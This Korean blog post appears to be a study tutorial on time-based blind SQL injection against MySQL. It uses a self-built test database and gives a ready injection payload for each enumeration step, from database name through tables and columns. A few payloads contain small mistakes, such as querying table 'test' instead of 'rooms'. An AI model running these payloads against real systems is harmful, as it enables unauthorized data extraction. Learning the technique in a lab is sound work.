본문 바로가기

WEB/hacking

[SQLI] mysql 기본적인 공격 flow

개요

당연한 얘기지만, 구현이 어떻게 되어 있냐에 따라서 공격하는 방법, 방식등은 얼마든지 바뀐다.

그럼에도 기본적인 공격 flow를 적으려는 이유는, 아무 생각 없이 공격 하는게 아니라,

어떠한 생각, 공격 vector, 내게 필요한 리소스는 무엇인지 등을 전체적으로 이해하고, 상기하고자 작성한다.

 

구성

간단하게 테스트용 db, table을 구성한다.

create database test;

create table users (
    id int not null primary key auto_increment,
    password varchar(512),
    nick varchar(30),
    email varchar(100) not null);

create table rooms (
    id int not null primary key auto_increment,
    name varchar(256),
    location varchar(30),
    owner_id int,
    foreign key (owner_id) references users(id));

테스트용 data를 insert시킨다.

insert into users(password, nick, email) values(SHA2("1234", 512), "test1", "test1@test.com");
insert into users(password, nick, email) values(SHA2("1234", 512), "admin", "admin@test.google.com");
insert into rooms(name, location, owner_id) values("home", "pangyo", 1);
insert into rooms(name, location, owner_id) values("home", "seoul", 2);

공격 flow

server가 최소한의 정보만을 준다고 가정한다. (blind, time-base)

본인이 target으로 생각하는 data가 무엇인지 등을 잘 생각해서 공격 flow를 생각해본다.

반드시 필요한 정보

  • 현재 사용중인 DB명
  • table명
  • column명

실제 공격 flow

  • DB명 길이 구하기
  • DB명 구하기
  • table count 세기
  • table명 길이 구하기
  • table명 구하기
  • column count 세기
  • column명 길이 구하기
  • column명 구하기
  • data leak

mysql 기본

schema

infomation_schema

  • mysql 설치시 기본적으로 생성되는 DB(읽기만 가능)
  • db의 메타데이터에 대한 접근
  • db, table명 제공
  • column 데이터 유형, 액세스 권한 등의 정보 제공
  • information_schema.tables
    • table_name
    • table_type: 일반 테이블(regular table)은 table_type이 "BASE TABLE" 이다.
  • information_schema.columns
    • column_name

functions

database()

  • 현재 접근중인 db의 이름을 반환한다.

length()

syntax length(string)
  • 문자열의 길이(바이트)를 반환한다.

substr() | substring() | mid()

syntax substr(string, start, length)
  substring(string, start, length)
  mid(string, start, length)
  • 문자열에서 부분 문자열을 추출한다.
  • start는 시작할 문자열의 위치, length는 추출할 문자 개수
  • 문자열의 시작은 1부터 시작한다.
  • mysql에서 substr(), substring(), mid()는 같은 동작을 수행한다.
mysql이 아닌, JS에서는 substr()과 substring()의 동작이 다르다.
JS string.substr(start, length);
JS string.substring(start idx, end idx);

ascii()

syntax ascii(char)
  • 문자에 대한 ascii값을 반환한다.

sleep()

syntax sleep(int)
  • 인수로 지정된 시간(second) 동안 휴면상태(일시정지)를 가지다가 0을 반환한다.
  • 다른 쿼리 세션에서 중단시, 시간 초과시(max_execution_time()을 설정한 경우) 1을 반환한다.

Query

비교 연산을 통해 원하고자 하는 값의 true, false를 구할 수 있다.

= 같다.
!=, <> 같지 않다.
>, < 크다, 작다
>=, <= 크거나 같다, 작거나 같다

각 단계별 query는 다음과 같이 구성된다.

DB명 길이 구하기

  • query
select length(database());
  • sqli example
' or 1=1 and length(database())=4 and sleep(2)#

<mysql query> db명 길이 구하기

Q. 왜 sql injection을 진행할때 database()를 사용하면 db가 1개만 보이는가?
당연한 이야기지만, WEB에서 db에 요청을 해야하는 특정 기능, 로직들은 이미 필요한 DB에 connection을 진행 한 후에 select, insert, delete등을 진행한다. 로그인 로직은 해당 유저가 정말로 있는지 확인하기 위해서 select 구문을 사용하고, 이는 이미 연결되어 있는 db에 요청하기 때문에, database()의 기능대로 현재 사용중인 db이름을 반환한다.

DB명 구하기

  • query
select substr(database(), 1, 1);
  • sqli example
' or 1=1 and substr(database(),1,1)='t' and sleep(3)#

<mysql query> db명 한글자씩 구하기

 

Table 개수 세기

  • query
select count(table_name) from information_schema.tables where table_type="BASE TABLE" and table_schema="test";
  • sqli example
' or 1=1 and (select count(table_name) from information_schema.tables where table_type="BASE TABLE" and table_schema="test")=2 and sleep(2);

<mysql query> test db의 table 개수 세기(users, rooms)

Table명 길이 구하기

  • query
select length((select table_name from information_schema.tables where table_type="BASE TABLE" and table_schema="test" limit 0, 1));
  • sqli example
' or 1=1 and length((select table_name from information_schema.tables where table_type="BASE TABLE" and table_schema="test" limit 0, 1))=6 and sleep(3)#

<mysql query> test db의 첫번째 table명의 길이(rooms)

Table명 구하기

  • query
select ascii(substring((select table_name from information_schema.tables where table_type='BASE TABLE' and table_schema='test' limit 0, 1), 1, 1));
  • sqli example
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='BASE TABLE' and table_schema='test' limit 0, 1), 1, 1))=114 and sleep(2)#

<mysql query> test db의 첫번째 table의 첫번째 글자의 ascii 값

Column 개수 세기

  • query
 select count(column_name) from information_schema.columns where table_name="rooms";
  • sqli example
' or 1=1 and (select count(column_name) from information_schema.columns where table_name="test")=4 and sleep(2);

<mysql query> test db의 rooms table에 있는 column 개수 세기

Column명 길이 구하기

  • query
select length((select column_name from information_schema.columns where table_name="rooms" limit 0, 1));
  • sqli example
' or 1=1 and length((select column_name from information_schema.columns where table_name="test" limit 0, 1))=2 and sleep(2)#

<mysql query> test db의 rooms table에 첫번째 column명 길이 구하기

Column명 구하기

  • query
select ascii(substr((select column_name from information_schema.columns where table_name="rooms" limit 2, 1), 3, 1));
  • sqli example
' or 1=1 and select ascii(substr((select column_name from information_schema.columns where table_name="rooms" limit 2, 1), 3, 1)) > 97 and sleep(2)#

<mysql query> test db의 rooms table에 있는 두번째 컬럼의 세번째 글짜의 ascii 값

마무리

위에서 구해온 정보를 통해서 db의 구성을 알아냈다.

db명, table명, column명 등을 알아냈으니, 얼마든지 쿼리를 만들어서 원하는 정보에 접근이 가능할 것이다.

 

이렇게 DB의 구조를 파악하는 방법은 여러 방법이 있으나, 자동화 툴도 존재한다.

어느정도 공부를 진행했다면, sqlmap 등의 자동화 도구를 이용해서도 진행해보고, tool분석을 권한다.

references

https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html

https://www.w3schools.com/sql/sql_ref_sqlserver.asp

https://mariadb.com/kb/en/information-schema-tables-table/